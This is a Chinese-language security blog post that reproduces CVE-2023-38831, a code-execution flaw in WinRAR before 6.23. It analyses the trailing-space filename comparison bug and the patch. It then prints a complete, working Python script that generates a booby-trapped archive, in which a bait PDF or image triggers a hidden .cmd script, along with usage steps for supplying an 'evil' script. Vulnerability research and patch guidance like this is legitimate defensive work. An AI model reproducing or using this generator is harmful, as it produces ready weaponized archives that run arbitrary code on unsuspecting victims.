【漏洞复现】RARLAB WinRAR 代码执行漏洞RCE (CVE-2023-38831)


前言

WinRAR 是一款功能强大的压缩包管理器,它是档案工具RAR在 Windows环境下的图形界面。
该软件可用于备份数据,缩减电子邮件附件的大小,解压缩从 Internet 上下载的RAR、ZIP及其它类型文件,并且可以新建 RAR 及 ZIP 格式等的压缩类文件。

从5.60版开始,WinRAR启用了新的图标,但用户仍可以通过官网提供的主题包换回原版风格的图标。

声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述

WinRAR是一款文件压缩器,该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。

RARLabs WinRAR 6.23之前版本存在安全漏洞,攻击者利用该漏洞可以执行任意代码。


二、影响版本

  • WinRAR < 6.23

三、漏洞分析

漏洞触发主要分成两个环节:

1、点击诱饵文件时同名文件夹下的文件被释放
2、执行文件时执行文件夹下的 .cmd文件而不是原文件

释放文件

用户点击文件后,winrar会遍历zip文件中的direntry,比较direntry->name 和点击文件名(click_name),比较函数(0047F790) 的第四个参数option为0x80000006,该函数会调用00496020,option作为第三个参数传入,00496020中会对 click_name 和 entry_name 进行字符串对比。
在这里插入图片描述
由于传入的比较长度为 click_name 的长度,类似 "CLASSIFIED_DOCUMENTS.pdf " 和 "CLASSIFIED_DOCUMENTS.pdf \CLASSIFIED_DOCUMENTS.pdf .cmd " 的比较会匹配,所以当direntry中存在与点击文件同名文件夹时,比较函数会返回1表示匹配,后续该entry对应的文件会连同点击文件一起被释放。
在这里插入图片描述
在修复版本623beta中,传入比较函数的option的值为0x80000002,该条件下比较函数会首先提取两个参数的目录名进行比较,则上面情况不再匹配。
在这里插入图片描述
在这里插入图片描述
option的值新版本设置flag进行控制,在创建临时目录成功后设置flag,并在解析过程中使用。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
文件执行

以下面利用代码部分为例,在winrar展示窗口双击pdf文件后,winrar会使用函数ShellExecuteExW执行文件,这里传入的参数为:
"C:\Users\************\AppData\Local\Temp\Rar$DIa*****.*****\CLASSIFIED_DOCUMENTS.pdf "
在这里插入图片描述
由于上述bug的存在,临时文件夹下会释放以下两个文件:CLASSIFIED_DOCUMENTS.pdfCLASSIFIED_DOCUMENTS.pdf .cmd

这两个文件的末尾空格都在函数4A26B0中被去除

在这里插入图片描述
由于ShellExecuteExW参数最后有空格,它会执行第二个 .cmd文件,漏洞触发!!!
在这里插入图片描述


四、漏洞复现

本次复现环境如下

复现环境安装包:点击下载
在这里插入图片描述
github脚本验证

项目地址: CVE-2023-38831-winrar-exploit

利用代码如下(代码成分已标注)

import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "CVE-2023-38831-poc.tar"
# 模板文件夹的名称
BAIT_NAME = "CLASSIFIED_DOCUMENTS.pdf"
#诱饵文件
SCRIPT_NAME = "script.bat"
#脚本文件
if len(sys.argv) > 3:
    BAIT_NAME = os.path.basename(sys.argv[1])
    SCRIPT_NAME = os.path.basename(sys.argv[2])
    OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
    pass
else:
    print("""Usage:
          python .\cve-2023-38831-exp-gen.py poc
          python .\cve-2023-38831-exp-gen.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
    sys.exit()
# 赋值 BAIT_NAME, SCRIPT_NAME 和 OUTPUT_NAME
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
# 确定其扩展名,将 BAIT_NAME 按照最后一个"."进行分割,取最后一部分作为扩展名,并添加 b"." 前缀,得到 BAIT_EXT
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)

if os.path.exists(TEMPLATE_NAME):
    shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
    os.mkdir(d)

shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))

# if os.path.exists(OUTPUT_NAME):
#     print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
#     sys.exit()

shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)

with open(TEMPLATE_NAME + ".zip", "rb") as f:
    content = f.read()
    content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
    content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
#改诱饵文件扩展名
os.remove(TEMPLATE_NAME + ".zip")
# 删除临时zip
with open(OUTPUT_NAME, "wb")  as f:
    f.write(content)
#写入文件
print("ok..")

生成POC的两种方式
python cve-2023-38831-exp-gen.py poc
or
python cve-2023-38831-exp-gen.py CLASSIFIED_DOCUMENTS.pdf script.bat poc.rar

使用方法

1、将诱饵文件和(邪恶)脚本文件放置在当前目录下,诱饵文件建议为图片(.png、jpg)或文档(.pdf)
2、运行python cve-2023-38831-exp-gen.py <bait name> <script name> <output name>以生成您的漏洞利用程序

在这里插入图片描述
执行命令生成exp.rar,将压缩包打开双击运行*****.pdf文件
最终执行Calc
在这里插入图片描述


五、修复建议

建议未及时进行更新的要尽快更新至最新版本 6.23,以免被恶意攻击。

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

李火火安全阁

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值